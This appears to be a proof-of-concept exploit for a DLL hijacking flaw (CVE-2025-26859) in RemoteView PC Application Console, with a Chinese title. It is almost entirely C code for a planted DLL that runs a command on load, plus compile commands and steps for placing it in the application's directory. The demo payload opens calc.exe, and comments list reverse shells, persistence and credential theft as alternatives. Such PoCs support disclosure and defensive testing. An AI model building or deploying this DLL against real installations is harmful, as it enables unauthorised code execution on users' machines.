CVE-2025-26859 RemoteView PC控制台未受控搜索路径漏洞

// CVE-2025-26859 - RemoteView PC Application Console DLL Hijacking PoC // This PoC demonstrates the DLL hijacking vulnerability by creating a malicious DLL // that will be loaded by RemoteView PC Application Console when placed in its directory. #include <windows.h> // Entry point executed when the malicious DLL is loaded by the target application BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulReasonForCall, LPVOID lpReserved) { switch (ulReasonForCall) { case DLL_PROCESS_ATTACH: // Execute malicious payload when the DLL is loaded into the process // Example: Launch a reverse shell or execute arbitrary commands WinExec("cmd.exe /c calc.exe", SW_SHOW); // In a real attack scenario, this could be: // - Reverse shell: connect back to attacker's C2 server // - Persistence: add registry keys for autorun // - Credential theft: dump browser passwords, tokens, etc. break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Export functions that match the legitimate DLL's exports // (to avoid errors when the application calls them) __declspec(dllexport) void Function1() { return; } __declspec(dllexport) void Function2() { return; } /* Compilation: x86_64-w64-mingw32-gcc -shared -o target.dll poc.c Usage: 1. Identify a DLL loaded by RemoteView PC Application Console (e.g., using Process Monitor) 2. Compile this code with the same name as the target DLL 3. Place the malicious DLL in the RemoteView installation directory 4. When the user launches RemoteView, the malicious DLL will be loaded and executed */